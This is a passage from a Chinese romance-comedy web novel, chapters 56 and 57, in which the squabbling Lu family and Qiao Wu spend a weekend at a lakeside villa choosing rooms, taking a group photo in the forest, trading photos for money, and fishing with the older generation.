至于陆宣,满满几大箱全是他的衣服护肤品,佣人们来来去去跑了好几趟。 只有陆尽之正常一点,就带了一个行李箱。 果然,就不该提早过来,要时刻盯着:“你们搬家来了?” “我的崽崽走哪里都要带着的。”陆柠没来过这里,她现在很亢奋,觉得自己也是来秋游了。 就是对娃的爱有点沉重,要拿不动了:“我的房间是哪个?” “房间还没选。”乔梧给她分担了一点娃娃,让佣人先把老先生和她爸带进去,然后把打印出来的房间递给这几人,“看看你们想住哪一个?” 昨天被喊了一声哥哥,现在心情十分好的陆宣并没有跟其他人争的欲望。 房间而已,他不在乎。 又不是住在哪里乔梧就喊谁哥哥。 而且他现在要成熟,要体贴。 “随便。”他懒洋洋道,“之前住哪现在住哪不就行了。” 其他人也对房间不是很感兴趣。 陆应池牵着马探头看了一眼:“那我以前住……” 等会儿。 他的话音戛然而止,模糊的记忆一瞬间涌了上来,牵着缰绳的那只手徒然使劲儿,把公主的脑袋都拽得往前探了探。 “以前住哪现在就住哪?”他缓缓扭头看向乔梧,声音磕绊了一下,“这样也……不是不行?” 话音才落,乔梧手里的纸就被人抽走了。 陆尽之站在乔梧身后,似笑非笑地望着他。 声音却透着股淡淡的凉意:“你的脑子跟你的马是一起离家出走了?” 第56章 第五十六章二更 陆应池早就忘了房间里是什么样子,满脑子都是他以前跟乔梧是睡在同一个房间里同一张床的。 真是的,又不是没睡过。 他牵着马晃来晃去,虽然意识到自己说错话了,但嘴还是很硬:“你急什么?” 原本姿态懒散的陆宣也迅速反应过来以前这个逼是怎么又哭又闹哄着乔梧跟他睡一个房间的,一巴掌呼在他后脑勺上:“你选个屁,你跟公主一起睡马厩!” “我靠,陆宣你不想活了,知道男人脑袋不能碰吗!”陆应池捂着脑袋,怒目而视,“你又急什么,不是你哭唧唧吵着要挤进门的时候了?” 乔梧夹在中间,觉得这两人唾沫都飞自己脸上来了,便往后退了一步。 陆柠仰着头,不理解这两个大块头怎么一个比一个幼稚:“都别说了,我跟乔梧睡!” 乔梧:“……难道就不能一人一个房间吗?” “那不行,要一视同仁。”陆柠皱眉,“你跟他们都睡过,但我没有!” “你放什么兔子屁,你那语文出去别说是我教你的,没断奶吗还要跟别人睡?” 陆应池平等排斥一切要跟乔梧睡一个房间的人。 后面的陆尽之听得额头突突直跳。 他现在忽然不认可乔梧说的话了,如果陆家真是一艘船,那趁早翻了吧。 什么一副二副三副,三个副手能把船往三个方向开。 说是狗都抬举他们了,狗比他们聪明。 他将那纸呼在陆柠脸上,凉声道:“你去藏书楼是去吃书了?” 那么多知识愣是一点都没进她脑子。 乔梧显然也不指望谁,而是问陆尽之:“你先选?” 陆尽之喜欢清净,所以直接点了顶层,紧接着又点了旁边的房间:“你来这儿。” 另外还在争吵的几人顿时收声,齐刷刷地望着他:“凭什么!” 凭什么就让乔梧睡他旁边去! 陆尽之轻描淡写:“凭我能让你们从这儿走去学校。” 从陆宅出发还能骑自行车去坐公交承地铁,但静水别墅外面是真的啥也没有。 陆应池顿了顿:“我可以骑公主。” “行。”陆尽之善解人意,没再多看他一眼,“你明天就骑着公主去。” “……” 陆应池把求助的目光投向乔梧。 后者原本是想替他们说说话,但一想到这次是他们没有分寸,所以难得没有帮腔。 这几人在家里都比较放飞自我,她不确定自己的房间门会不会跟保险柜一样被撬,而且如果想要大家戒掉对她的依赖,首先要做的就是拒绝。 显然陆尽之身边就是一个很好拒绝的理由。 在陆宅他们都默契的不敢进陆尽之的房间,来了这边更是不会轻易踏进陆尽之的领地。 “嗯。”她顺着陆尽之的话,把陆柠的娃娃一起塞进陆宣的怀里,“我跟陆尽之住一层 ,其他房间你们仨自己在这儿选吧,选好了把自己行李放进去。” 说完就转身走了。 陆尽之无声笑笑,也迈步跟上。 静水别墅设计比较独特,每一层外面都环绕着一圈小露台,种了些花草,配得有小沙发,相邻两个房间的露台都共用。 已经上楼的陆江和乔知义此时坐在沙发上,望着楼下还在争论不休的三个孩子,觉得这一幕实在是玄幻。 “我过去以为他们的嘴巴都是用来气人的。”陆江说,“没想到还能说话。” 实不相瞒,乔知义也是这么认为的,但最近他们都收敛了很多,所以他道:“都是年轻孩子,没什么大隔阂。” “也只有小梧了。”陆江说起来就觉得好笑,“她的那个规则你看到了吧,我叫家庭医生的次数都少了。” 乔知义点头:“如果早知道,当年我也应该在家里立一个。” “那你可不一定能做到。” 老实的乔知义不解。 “像我们做生意的人,难道真的是谈生意?”陆江笑道,“纵然资源有好有坏,但相同竞争力下,合作的是人不是资源。” 乔知义哪里懂做生意这些事,他能管好家里的琐碎小事就觉得很好了。 “所以同样的规则,放在你女儿那里适用,但放在你这儿就不一定了。”陆江提点他,“他们守的不是规矩,是定规矩的人。” 还是他有先见之明,当初早早就想着开始培养乔梧。 前段时间要是乔知义来书房跟他谈,他还真有可能生气,只是放在乔梧身上还挺无可奈何的。 “可能是小梧跟他们一起长大比较特殊。”乔知义了然,“二少爷对小梧也会多一点耐心。” 陆江:“你说老二?” 那个算计他什么时候死的逆子? 耐心是什么可笑的东西,他要有耐心当初就不会义无反顾出国了。 “昨天二少爷跟小梧一起回来。”乔知义点头,“小梧说他很好沟通。” 陆江:“……” 他眼神有些怪异。 这说的还是老二么? 老二回国这段时间在公司里雷厉风行,好几个老董事被逼得天天暗里给他诉苦,说这小子做事儿从来不看辈分年龄,谁都找骂不误。 主要他骂人不带脏字,纯打压式精神压制。 可又想起刚才跟乔梧一起走进别墅的老二,陆江忽然就不确定了。 他想了想:“可能她也有专门应对老二的办法。” 但到底陆江还是个过来人,跟亡妻生了四个儿子的战绩可查。 老二出国两年他都没听到一点点他有什么私人情感生活的风声,哪怕回国以后身边也没有任何走得很近的异性,当初钟禾静总是来家里,他也从不拿正眼看别人。 老二27岁之前清心寡欲得不太正常。 27岁以后他还真不清楚。 陆江问:“刚才老二是主动让小梧去他隔壁?” “对。” 陆江轻轻压了下眉心- 由于要来静水别墅,乔梧把这周末的工作都调完了,也算是给自己放一个小假,回到房间后刚把邮件都处理完,她就接到了陆柠的电话。 “乔梧,你忙完了吗?我跟陆应池要去森林里玩,你去吗?” 嘴上说着两人互相讨厌,实际上就是他们两在一起玩得最多。 乔梧往窗外看了一眼,林间的树叶都变得金黄,正是梧桐和银杏落叶的时候,她应下来换了身衣服出门。 在经过陆尽之的房间时,她脚步犹豫了一下,伸手敲了敲。 屋内陆尽之正坐在桌前看书。 既然来了这里,他就不会给自己没事找事非要去工作,虽然他对游玩没什么兴趣,但看书放松一会儿还是可以的。 听到敲门声时他撩眼望去。 这个点能来敲门的,除了乔梧就没别人了。 他身形微动,只是拿过一旁的书签放在书里,边道:“没锁。” 两秒后,门被轻轻推开一道缝隙,乔梧只露出一个脑袋:“要一起出去逛逛吗?” 修长的手将书合上:“好。” 看星星,闻秋风,这样也…… 看到楼下抱着几个娃娃戴着小黄帽,以及一个牵着马的高个黄毛时。 陆尽之微微抬了下眸。 这样也太吵了。 他有种想转身回去的冲动。 陆柠嘴比脑子快:“二叔也去啊?” 陆应池也附和:“你去干什么?” 冲动被打消,陆尽之莞尔站到乔梧身边:“她邀请的。” 另外两人顿时将控诉的目光投向乔梧。 后者不想惯他们的臭毛病,挑眉道:“那你俩自己玩,我跟你二叔去玩?” “一起!” 就当来森林里看猴了。 四人才走出大门没多久,楼上忽然传来一道幽幽的声音:“去哪?” 乔梧心里一跳。 坏了。 果然回头一看,陆宣趴在露台边上,脸上的表情十分危险。 陆宣目光直挺挺地盯着这几个想要孤立他的人,他就不明白了,这么大个人站在这儿还能被遗忘? 就因为他自己住一层? 是的,没有了乔梧以后,他们三个分房的过程异常顺利,陆应池和陆柠在一层,他自己一层。 但他没想到分房却是自己最大的败笔。 两分钟后,陆宣臭着脸加入了队伍。 “我也不是很想去。”他说。 陆尽之头也没回:“你的腿是开了自动驾驶?” 陆宣低头看了一眼自己很诚实的腿,冷笑:“你的嘴是农药喷洒器?” “嗯。”陆尽之淡淡道,“除害。” 陆宣:“……” 他盯着陆尽之的后脑勺,趁机走到乔梧身边告状:“你看看他什么态度?这能举报的吧。” “好了。”乔梧失笑,“难得一家人出来走走。” 说着就往前走了两步,跟陆尽之并肩。 陆宣看着自己身边徒然空掉的位置,有些愣怔。 不知道为什么,他总有种感觉,乔梧好像跟他越来越远了。 每一次他跟陆尽之在一起,她总会走到陆尽之那一边去。 明明之前一直都是她朝自己走来,是她对自己说“我想跟你一起去”的。 明明昨天还在喊他哥哥呢。 是错觉吗? 他盯着乔梧的背影看了好几秒,才缓步跟上。 今天天气很好,哪怕是秋天走在林间也不觉得冷。 从回到自己的身体到现在,乔梧第一次觉得这么轻松,好像一切都在往正规上发展,未来也能看见了。 她低头看着自己走过时带起浅浅弧度的落叶,俯身捡了一片。 咔嚓一声。 她抬头看去,是陆柠举着相机对她。 “我带来拍娃娃的。”陆柠说,“也拍了你,你要看吗?” 乔梧走上前:“要看。” 平时陆柠很喜欢给自己的娃娃搭好衣服拍照,所以拍照技术很不错。 刚才正好拍到阳光从稀疏的树叶缝隙中洒在乔梧身上,她捡起落叶的一瞬间。 乔梧很喜欢:“拍得好棒,回去发我。” 被肯定了的陆柠顿时昂首挺胸。 语文不好怎么啦,她拍照可牛了。 乔梧轻拍她的后背:“给叔叔们也拍几张?” 闻言陆应池忽然看着路边的一张长椅:“我们是不是在这儿拍过照?” 乔梧回头看去,忍不住笑:“拍过。” 小时候她父亲带着他们几个来这里玩,轮到在这儿拍照的时候,每个人都想跟她单独拍,陆应池和陆宣差点打起来,最后是大家在一个画面里一起拍的。 她坐在中间,陆应池和陆宣一左一右牵着她的手,脸上还挂着没干的眼泪。 而陆尽之虽然不喜欢,但那会儿的他还没有现在这么难摆布,长辈的话还会听一听,他就很敷衍的站在乔梧身后撑着椅背,最后的照片里他的视线压根就没看镜头。 那张照片后来被洗出来放在她父亲的相册集里,也不知道还在不在。 陆柠一听,顿时就要弥补当时自己不在的遗憾:“我也要拍!” “我可以。”乔梧看向其他人,“你们呢?” 三个大男人除了平常要营业的陆宣,基本没什么拍照的爱好。 “他们不拍我们自己拍。”陆柠把相机拿出去,“帮我们拍?” 那怎么行?! 谁落后谁拍照! “拍就拍。” 陆应池牵着马像过去一样坐在椅子的一头,拍拍身边的位置:“来啊。” 陆宣不遑多让,立刻坐在另一头,看着那匹高大的马无语道:“你的马也要拍?” “我的马怎么了,我的马可是公主,我打算……” 陆柠打断两人的 话:“马往后拉,挡住光了。” 陆应池只好暂时将话收了回去。 他带马过来又不是自己骑,他是要送给乔梧的。 要给乔梧证明他并不是不负责任的人,要送给她的礼物他养了很多年,所以他可以坚持也很有耐心。 把马换了个位子后,这两人动作一致地看着乔梧。 “你呢?”乔梧回头问陆尽之。 陆尽之不太想参与,但他觉得自己要是不参与,那两个分房间都分不清楚傻子的可能会跟小时候一样动手动脚,所以他嗯了声,走到了椅子背后。 “那我调个延迟摄影。”陆柠赶紧把相机放在对面的椅子上,找好位置以后飞速指挥,“乔梧快站好!” 乔梧回头,看到他们有意空出来的位置,目光沉了沉。 随即走上前,却在另外两人期待的目光里绕过长椅站到了陆尽之身边。 陆应池和陆宣的神色瞬间变得空白。 还不明所以的陆柠一屁股坐到两人中间去,她理所当然的认为这个位置就是留给自己的,不然吃饱了撑的空那么大干什么。 读不懂气氛的她拍拍两个叔叔的手臂:“看镜头!” 另外两人下意识看过去,一声轻响,画面定格。 陆柠迫不及待跑过去把相机拿起来,检查了以后不满地问:“你们怎么不笑!” 亏她调了这么好的画面和光影。 还有个不看镜头的。 算了,二叔她不敢说,好歹二叔还笑了。 乔梧走过去看了眼,除了她和中间笑得眼睛弯弯小脸红红的陆柠正常,其他人没一个配合,陆应池和陆宣虽然看着镜头脸上表情却像是还没反应过来的懵。 而陆尽之依旧没看镜头,他在看…… “你看我干什么?”她直起身子问身旁的人。 陆尽之如实道:“意外。” 意外她会绕过那两条期待的小狗,走到他身边。 “我没别的意思。”乔梧看了还坐在椅子上的两人一眼,轻声解释,“不管怎么说,我都不该是这张照片的中心。” 也要让那两人戒断围绕着她转的下意识行为。 陆尽之轻笑:“我一向尊重你的选择。” 而这时已经回过神的陆应池不爽地站起来:“你干嘛站后面去?” 乔梧反问:“难道你要让陆柠站后面去?” 陆应池扭头看了眼抱着相机的小矮子,站到后面半张脸都会被他跟陆宣挡住。 所以硬生生把不满咽了回去。 扒拉完合照的陆柠抬头:“没拍好,重新拍一张?” “差不多行了。”陆应池把马牵到身前,翻身上马,“一会儿太阳落山你们还在入口。” 他骑上马后就直接顺着小路走了。 就是有点不舒服,但不能发脾气,他只能自己先发泄一下。 哼,就算是让陆柠,他也要惩罚一下乔梧。 今天绝对不能把公主送给她! 陆柠摸不着头脑。 不拍就不拍,反正家里一直都是这个样子。 乔梧跟自己好看就行! 她调好相机:“那我继续拍娃娃啦。” “陆宣,你这里光线好,可以给我腾个位置吗,谢谢。” 心情好,陆柠说话都很有礼貌。 陆宣没跟她争地盘儿,插着兜站起来,径直走到乔梧面前。 “我要跟你走走。”然后很排外的指着陆尽之,“不带他。” 在陆尽之输出之前,乔梧先点了头:“好。” 又对陆尽之道:“你在这儿陪陆柠玩一会儿。” 陆柠:“?” 不是,这是什么恐怖故事。 看二叔真的站在自己身边没走,蹲在椅子前的她抬起头:“二叔,你可以不用看着我。” “没看你。”陆尽之淡淡道,“在遛狗。” 陆柠顺着他的视线,看到了陆宣和乔梧的背影,当即选择闭嘴。 不然下一个她二叔就要开始遛鸡了。 但是人家去散步,你盯着干什么? 不准别人在他和乔梧的便签上写字,也不准乔梧和他之外的人散步? 她求知欲旺盛:“特权也不可以跟别人散步吗?” 闻言陆尽之垂眸轻轻扫了眼她,想起当初陆柠曾经问过他,乔梧是不是他的特权。 “可以。”他说,“但我的特权也有她的特权。” 语文水平极其低下的陆柠被绕得更蒙了:“不可以吗?” “原本可以。” 陆尽之黑眸轻抬,重新看向远处,“现在好像不可以了。” 陆柠很想凑到他二叔的耳朵边大喊:我语文只没及格,作文10分,你不要给我说绕口令! 但她不敢。 因为陆尽之真的会嘲讽她脑子不好。 而走出不远的陆宣显然不想跟乔梧弯弯绕绕,他皱眉问:“你是不是在疏远我?” “没有。” “那你不跟我走,还站到后面去。” “不是解释过了吗?”乔梧就知道他会想到这里,“你要不要仔细认真想想,这样才是正确的做法,陆柠和其他人都不应该被你排除在外。” 陆宣否认:“我没有排除。” “那你把我跟他们放在同一个位置,就会发现这很正常。”乔梧一点点引导他,“你不是说你是我哥哥?” 陆宣脚步顿住,心脏又开始膨胀了,还头晕目眩。 “嗯。” “所以你把我当家人吗?” 陆宣惊讶地看着她。 家人? 他一直没有刻意去想乔梧到底是一个什么样的定位,只要是亲密的选项他都会选。 所以乔梧说是青梅竹马的朋友,他很认可,说是亲密的人,他也认可。 但如果说是家人。 在同一个屋檐下长大,同吃同住。 比家人还亲,但也的确没有更亲的说法了。 他认可:“嗯。” “那为什么要在意这些?他们也是你的家人,不管怎么说我们在同一个画面里。”乔梧温声道,“我也把你们当家人。” 虽然陆尽之说陆宣不配,但乔梧觉得有个人把自己当家人的确是很棒的事情。 所以她不介意偶而喊他一次,她笑着说:“对吧哥?” 陆宣板着脸纠正:“是哥哥。” 哥和哥哥听起来感觉怎么不一样? “爱听不听。”乔梧觉得他想通了,便没再惯着他,“我去看看陆柠。” “陆尽之不是在?” 乔梧挑眉:“你指望陆尽之能看好陆柠?” 你小时候是没被陆尽之看过? 小时候他不爱说话还好,至少不会损人,现在可不一样了。 果然,陆宣不吭声了。 太阳落山后陆应池也遛马回来了,大家一起回去吃晚饭。 陆柠惦记着要把相机里的图都倒出来,飞快扒完饭后就冲回房间。 一张张顺下来,看到乔梧的照片后,她把照片发了过去。 此时的乔梧已经吃完饭回房间坐在露台的沙发上披着毯子看夜景,湖边和林间都装了很多灯,晚上别有一番滋味。 忽然身后传来轻响,是隔壁的陆尽之拉开露台的门也出来了。 “还没睡?” “嗯。”陆尽之在她面前坐下,“不冷?” “还好。”乔梧示意他看自己身上的毯子,然后指着远处林间的灯光,“像洒在地上的星星,很漂亮。” 陆尽之顺着她的指尖看去。 他并不近视,所以那些灯光看得也不算模糊,只是离得近了就会觉得,这次的星星像是落在她指尖一样。 看了几秒,他忽然又站起来回了房间。 乔梧疑惑,但下一秒她收到了陆柠发来的图片,所以没太在意。 导出来的图片是陆柠修过的,色彩更加鲜明,所以更加好看。 她给小孩说了谢谢,然后保存。 这时余光扫到人影,是陆尽之又回来了。 她抬眸看去,发现陆尽之手里多了一瓶酒和两个杯子。 陆尽之俯身,放下的杯子在桌面发出轻微的声响,与他的声音碰撞。 “答应过你,会有的。”他说。 是她上次在村口说的那句,要是有酒就好了。 乔梧愣了一下,随即弯着眸子笑开,连手机上在看照片都忘记了,放下手机去开酒:“我来。” 陆尽之没阻止,他松开手坐回对面,拿起手机。 正在吭哧哼哧选图P图的陆柠手机又震了下。 她低头一看,倏忽瞪大了眼睛。 怎么,她二叔居然主动给她发消息?! 还是大额转账! 这钱有点来路不明。 她点开对话框,义愤填膺:“你知道我二叔是谁吗?敢盗他的号!” 陆尽之:“乔梧的照片,发我一份。” 陆柠:“???” 这么多钱,是来买照片的?! 原来特权还有这种价值。 她转发过去以后,忽然想起今天陆尽之那些听不懂的话。 思来想去,她的圈子里只有一个人给过她正确的答案,所以她打开了跟钟时夏的聊天框。 “提问。” “问。” 陆柠:“我的特权也有她的特权是什么意思?” 陆柠:“‘原本我的特权可以有她的特权,但现在不可以了’是什么意思?” 钟时夏:“独占欲。” 陆柠:“我对乔梧也有占有欲啊,我怎么不像他那样,他说了他不喜欢乔梧,只是认可。” 钟时夏:“但当很多例外在同一个人身上发生的时候,就能说明一切问题。” 陆柠:“什么问题?” 钟时夏:“猴叔叔喜欢乔梧。” 陆柠:“你这次都不用‘吧’了?” 钟时夏:“因为这只是我的观点,微笑.jpg。” 好吧,说不清楚。 陆尽之亲口承认的,他那种天才自有一番思路。 陆柠刚要放下手机,结果又噌噌收到两条新的微信。 陆宣:“乔梧那张照片发我,[转账]。” 陆应池:“乔梧照片发我,给你买娃娃,[转账]。” 陆柠:“……” 哇噢! 第57章 第五十七章钓鱼打窝 原本陆柠还有些怀疑她二叔是不是真的喜欢乔梧。 但现在突然又加入两个人,她又打消了很多疑虑,而且乔梧的照片她自己也留着呢。 总不能所有人都喜欢乔梧吧哈哈哈哈。 她继续翻开照片,然后看到那张五个人的合照,目光轻轻一瞟,盯住了那个没看镜头却是笑着的二叔。 二叔在看着乔梧笑。 笑起来的二叔一定藏了很多坏主意,恐怖如斯! 一定要提醒乔梧注意! 但是一晚上挣了这么多钱,以后要是又被停了卡,那她自己也有小金库了噢! 这么想着,她第二天下楼时手里就没放下过相机,什么都要拍,乔梧走到哪她跟到哪。 完美变成乔梧的站姐。 哼,乔梧的照片可比她们班那些同学的限量小卡贵多了。 发现自己连去扔个垃圾屁股后面都缀着个小尾巴的乔梧终于察觉了不对:“怎么一直跟着我?” 陆柠眼珠子咕噜噜转:“老师布置了作业,要写周记,我在收集素材。” 小孩的确会有很多作业,乔梧没当回事,就让她跟着了。 陆柠跟陆家其他人不一样,她年纪还小,还需要人照顾,依赖大人没有任何问题。 见乔梧没有再多问,陆柠更加大胆亦步亦趋:“你长得比明星好看。” 比小卡上的人好看。 乔梧在家很少化妆,但是她作息规律没有不良嗜好,所以气色很好,唇色粉粉的。 “谢谢夸奖。”乔梧拎着桶转身,“改天出道一定给你签名。” “那还是算了吧。” 陆柠摇头,“出道会被很多人骂,你都没看见陆宣被骂得有多惨。” 最近陆柠和陆应池简直就是演员训练营的忠实粉丝,两人甚至还潜伏进了陆宣的黑粉超话里,然后瞬间打开了新世界大门。 原来有这么多人讨厌陆宣。 每次都是笑着点进去,又气着出来。 虽然跟三叔不亲近,但陆柠在某些方面还是比较诚恳的:“他也没那么差吧。” 所以她跟陆应池每次从黑粉超话出来,又要进一趟粉丝超话,把有些偏颇的言论揪出来使劲批判。 乔梧点了点她的眉心:“网络上的话看看就好,不要被带偏,你三叔什么样子你不清楚吗?” 陆柠诚实摇头:“不清楚,他在镜头前的时间比在家里多,虽然最后也没拍出什么好东西。” 这倒是,一年多没回家,回家了也常常外出。 “不清楚就要问他。”乔梧温声说,“不要通过别人的嘴来了解人,更何况他还是你的三叔,你跟他更亲,他也比你想象中的还要厉害。” 陆柠哦了声,但还是跟在她身后走出了门。 两人离开后,陆宣才从楼梯那里拐出来,他看着那道背影不禁弯了眼睛。 走出门,陆柠好奇地往桶里看:“这是什么?” “饵料。”乔梧说,“钓鱼打窝用。” 昨晚她喝了酒睡得早了,没有陪父亲玩一玩,所以打算今天抽点时间陪他在湖边钓会儿鱼聊聊天,平时忙着也没有这种机会。 陆柠很惊讶:“你怎么什么都会啊?” “这些又不难。”说到这个,乔梧忽然想起什么,“你有没有什么想要去学的东西?” 过去陆柠每天除了被逼着去学校,剩下的时间不是在找麻烦,就是在被麻烦找的路上,也从来没有想过说要去学一点什么特长或是自己喜欢的东西。 但她现在年纪小,完全有足够的时间去挥霍的自己未成年的时光。 陆柠举着相机:“拍照算吗?” “算,什么都算。” “那我想学这个。” 乔梧点头:“找个老师教你怎么样?” 陆柠又惊又喜:“这样也行?” “为什么不行?”乔梧揉揉她的脑袋,“你想学什么都行。” 陆柠什么也顾不上,把头埋在乔梧面前滚了顿:“乔梧,你太好了!陆尽之不喜欢你,我喜欢!” 乍然听到这么个词,乔梧没太反应得过来:“什么?” “二叔啊。”陆柠没敢把自己卖照片的事儿说出去,但是还记得要叮嘱乔梧的事,于是添油加醋地说,“他不让我在你跟他的便签上写字,我就问钟时夏了,钟时夏说他喜欢你,所以才给你特权。” 乔梧挑了下眉。 “然后我就去问他,他说他不喜欢。”陆柠愤愤地说,“给你特权只是因为认可你。” 他懂个屁。 这么好的人都不喜欢! 听完前因后果,乔梧乐得不行。 不过这很符合她对陆尽之的刻板印象,那人不像陆宣和陆应池,每一种感情都分得很清,不会迷糊。 这恰好也不会给她压力,让她能自在地跟他相处。 但想到在自己不知道的时候居然发生过这样的事,还是有点窘迫,所以她嘱咐道:“不要随便问大人喜欢的事。” “为什么?” “因为你还小,懂得的喜欢种类还少,但大人懂得很多,等你到了大人的年纪就知道了。” “现在不行吗?” “这是一个过程,现在告诉你你也不会明白,需要自己体会。” “噢。” 你们大人的事儿还挺多的。 原本陆柠还想抽个机会去问问二叔呢,但现在一听就不太敢去了。 要是问错了二叔发火怎么办。 “反正你多注意。”陆柠压低声音,“我二叔每次笑起来,准没好事儿。” 比如她那十块钱的公交车费。 她夹带私货:“他对你笑得越开心,你就会越惨的,别信。” 乔梧失笑:“你还挺了解他?” “这是我跟陆应池商量讨论的结果。”陆柠说,“他吃过不少亏呢。” “行,我知道了。” 不远处的陆江和乔知义分别坐在湖边的小椅子上正在摆弄鱼竿,听见身后隐隐传来的声音,陆江回头看了眼,感慨:“还是养个姑娘好。” 能好好交流,还会陪长辈。 可惜,他命里就没有女儿缘。 乔知义不好意思,却也笑着默认了。 乔梧走近,把饵料放在两人中间:“爸,老先生。” “别叫老先生。”陆江说,“我跟你爸一个辈,跟以前一样叫叔叔就行,现在我也不在公司了。” 乔梧便从善如流地改口:“叔叔。” 旁边小椅子多,她拉过来一条给陆柠,示意她坐下。 后者看了看她爷爷,有点迟疑。 虽然最近常在一起吃饭,但上次爷爷打了陆应池的事情她还牢记于心。 陆江见她迟迟没有动作,冷声道:“还站着干什么?” 陆柠哐当一声坐下,连拍照都不敢拍了。 正在分装饵料的乔梧抬头看了眼,提醒:“叔叔,家规第七条。” 禁止对家人言语暴力。 陆江:“……” 他这还没说什么呢。 乔梧将其中一个小桶递给陆柠:“给爷爷分一点。” 后者小心抬头看了一眼,对上爷爷冷厉的视线顿时又缩着脑袋戴上手套扒拉小桶。 陆江习惯性坐在高位,跟人说话时也习惯了命令和下指令,有时候身上带着的气质和表情是这么多年一点点养成的。 “对越亲近的人越没耐心这种理论本身就是错的,这样只会磨灭感情。”乔梧望向陆江,笑道,“可叔叔你跟家里人本身就没多少感情,禁不起这么磨。” 乔知义被这话吓得鱼竿都要掉了:“小梧,说什么呢。” 闻言乔梧乖乖往她父亲身边靠了靠,无辜地说:“忠言逆耳。” 又冲着给她爷爷扒拉鱼饵的陆柠拍拍身边的位置:“怕爷爷的话把椅子搬来这边吧。” 几乎没有任何犹豫,陆柠在爷爷身边放下小桶,脱下手套,搬着椅子就跑去坐在另一边,接着乔知义的身体挡住自己。 身边徒然变得冷清的陆江满脸冷色地望着对面身边各坐着一个小姑娘的乔知义。 后者纯纯老实人,不好意思地挠挠头:“您看这……” 不想看,不爱看。 陆江将小桶提到自己身前重重放下,以此来表达自己的不满。 偏偏乔梧还没放过他,而是倾身朝陆柠道:“下次爷爷再跟你这么说话,你就把椅子搬到对面去。” 陆柠不敢说话,但却悄悄朝乔梧比了个OK的手势。 气得用余光扫着她们的陆江差点把鱼竿甩脱手。 然后身后传来一个人的惊呼:“我靠!什么东西飞过来了。” 听到是陆应池,陆江脸色稍霁。 虽然很气人,但有个儿子愿意过来也算是长大了。 “把那个……” 漏网给我拿过来。 别说念头没消掉了,陆江连话都没说完,一阵风就从他身后窜了过去。 “乔梧。”陆应池牵着马,“要不要骑骑公主?” “不了。”乔梧看着湖面身形未动,故意道,“你一会儿还要骑它回陆宅,别让它那么辛苦。” 昨天得罪了陆尽之,他今天怎么回去都是个问题,要是从静水别墅直接去学校他得五点起来。 陆应池:“……” 他扭头看了眼公主健壮的腿,真的很怕马还没送出去公主就废了。 他拉过一条椅子坐在乔梧身边:“那我也不骑。” “乔叔钓鱼呢?”他主动参与,“我也会,我打窝一打一个准,让我来。” 乔知义受宠若惊:“不不不,四少爷玩自己的。” “玩累了,正好休息一会儿。”陆应池边说边摆弄小桶,身体比自己的脑子要诚实,他无意识地靠近乔梧,在她耳边道:“我要是钓到鱼,你跟陆尽之说把我车钥匙还回来,我们下周去零环……” 那挽着黑发的耳朵忽然离他远了很多。 陆应池的声音戛然而止。 看到乔梧将身体往前探了探,将她父亲面前的一块石头拿开,然后就保持着那个距离回头看他:“我最近会很忙。” 声音听不出来任何异常,但陆应池就是觉得不舒服。 “那就等你有空的时候再去。”他找补道。 “想要车钥匙可以去跟你哥直接说。”乔梧轻声说,“你也没做错什么事,他不会太难为你的,你是他弟弟,说话肯定比我管用。” 她确信陆尽之做这些事只是为了那一瞬间看这几人破防,而不会把这件事放在心上,他不是那种会把让自己生气的事一直反复提起添堵的人。 “那怎么能一样,你是他朋友。” 乔梧被逗笑:“在你看来,朋友比家人还亲?” 陆应池没再吭声,而是埋头抓着鱼饵揉来揉去,跟玩橡皮泥似的。 他有种说不上来的感觉,但他没有证据。 还没等他想出个头绪来,又是噔的一声。 陆应池被人踹得差点没坐稳,扶着椅子回头:“有病?” 帽衫兜头盖着,戴着墨镜的陆宣一只手拎着一张小椅子,另一只手拿着鱼竿和小桶,语气闲散:“这里不是吃马草的地方,让位。” 陆应池打量着他,语调转了百八十个弯:“你会钓鱼?” “还会钓龙。”陆宣轻啧,“起开。” 陆应池能让他就有鬼了,钓鱼打扮成这样,不知道的还以为他是来偷鱼的,他屁股往下用力一坐:“这么大个湖你非要在我这儿挤,戴着个墨镜装瞎子,踏马不知道我多高?” 陆宣:“我要向乔叔叔请教一下怎么钓,有问题?” 乔知义左右为难,谦虚地说:“哎呀,我也不太擅长。” 最旁边被忽视了个彻底的陆江:“……” 不是,他这么没存在感吗? 哈喽? 你老子还杵着鱼竿坐在这儿! “找陆柠去。”陆应池埋头苦干。 “我不。”陆柠探出脑袋,“我在这儿是要拍照的,位置角度都找好了,不能改。” 差不多要被挤到湖里的乔梧不明白,他们脖子上长那么大个脑袋,里面装的都是什么。 她拍拍手站起身:“既然这么好学,就来坐我这儿。” 其他三人齐刷刷回头:“那你呢?” “我坐陆柠那边去。” 陆应池二话不说提着小桶站起来跟着他:“行,我给你让位。” 他朝陆宣挑眉:“你在这儿好好请教吧。” 陆宣:“啧。” 另外一边已经完全被站满了位置,他只能在这一头坐下,但其实并没有什么要钓鱼的心思,就是想找点事儿一起做,他马上就要进姜奇的剧组拍戏了,一去又不知道是多久。 陆应池这个没眼力见儿的狗玩意儿。 今晚就去把他公主的毛全给剃了! 陆宣把鱼竿当金箍棒使,在地上硬生生戳了好几个洞。 天真如乔知义,还真以为三少爷是来学习钓鱼的,十分热情:“三少爷,不能这么玩鱼竿。” 这么多年了,他还是第一次被少爷小小姐这么热情的包围。 真是欣慰。 他笑着说:“先生,其实孩子多其实也挺好的,多热闹。” 身边空无一人的陆江:“?” 这么多年了,他最近发现自己身边的老管家嘴巴是越来越甜。 他皮笑肉不笑:“是吗?” 其实乔梧刚开始觉得挺不合适,但她偶而也想让陆江吃吃苦头。 她站在乔知义身边,一边替他戴好帽子一边说:“叔叔,其实还好。” 陆江:“什么还好。” 乔梧轻笑:“至少他们还没坐到对面去。” 陆江脸都绿了。 合着这是连他一起整治呢。 不是,这个家到底谁在做主! 看他没发作,乔梧这才拍了拍陆应池的肩膀:“这里我来。” “我说了要给乔叔打窝。” “他是我爸还是你爸?”乔梧脸色淡下来,“我好不容易有个周末陪我爸,你在这儿坐着算什么事?你自己没爸爸吗?” 有倒是有。 但也差不多。 陆应池就没体会过温馨的家庭模式,但也没有办法阻止乔梧跟她父亲亲近,只好站起身。 见状陆江凉声道:“怎么,我钓鱼是不用打窝?” “你是腿不能走,又不是……”话没说完,他小腿就被人踢了一下。 低头一看,乔梧正好把腿收回去。 “学不会好好 说话我真的能让你从这里骑马回去。“她笑眯眯地说。 陆应池把喉咙里大逆不道的话硬生生咽了下去。 算了,在哪坐不是坐。 他拎着椅子重重地在陆江身边坐下,配合他那大个子,陆江觉得自己都震了震。 陆江瞥他一眼:“我是钓鱼,不是炸鱼。” 